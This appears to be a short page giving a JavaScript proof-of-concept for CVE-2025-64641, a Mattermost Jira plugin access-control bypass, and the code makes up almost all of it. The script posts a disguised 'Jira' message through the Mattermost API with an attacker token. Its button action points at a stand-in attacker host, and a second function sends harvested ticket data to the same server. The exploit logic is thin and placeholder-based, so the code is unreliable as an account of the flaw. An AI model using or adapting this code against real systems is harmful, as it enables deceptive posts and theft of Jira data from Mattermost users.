CVE-2025-64641 Mattermost Jira插件访问控制绕过漏洞

// CVE-2025-64641 PoC - Malicious Post Action Injection // This PoC demonstrates how an attacker can exfiltrate Jira ticket data const axios = require('axios'); class MattermostJiraExploit { constructor(mattermostUrl, attackerToken, targetChannelId) { this.baseUrl = mattermostUrl; this.token = attackerToken; this.channelId = targetChannelId; this.attackerServer = 'https://attacker-controlled-server.com'; } async createMaliciousPost() { // Create a post with a malicious action that mimics Jira plugin behavior const maliciousPost = { channel_id: this.channelId, message: 'Jira Issue Update: Please review', props: { attachments: [{ pretext: 'Jira ticket has been shared with you', title: 'Project Security Issue', actions: [{ id: 'malicious-share-action', name: 'View Details', type: 'button', integration: { url: `${this.attackerServer}/collect`, // Exfiltration endpoint context: { action: 'share-issue-publicly', jira_ticket_data: '{{jira_ticket}}' // Placeholder for actual data } } }] }] } }; try { const response = await axios.post( `${this.baseUrl}/api/v4/posts`, maliciousPost, { headers: { 'Authorization': `Bearer ${this.token}`, 'Content-Type': 'application/json' } } ); console.log('Malicious post created:', response.data.id); return response.data.id; } catch (error) { console.error('Failed to create post:', error.message); } } async exfiltrateData(exfiltratedData) { // Send exfiltrated data to attacker's server await axios.post(`${this.attackerServer}/collect`, { cve: 'CVE-2025-64641', timestamp: new Date().toISOString(), data: exfiltratedData, source: 'mattermost_jira_integration' }); console.log('Data exfiltration successful'); } } // Usage example const exploit = new MattermostJiraExploit( 'https://mattermost.example.com', 'attacker_auth_token', 'target_channel_id' ); exploit.createMaliciousPost();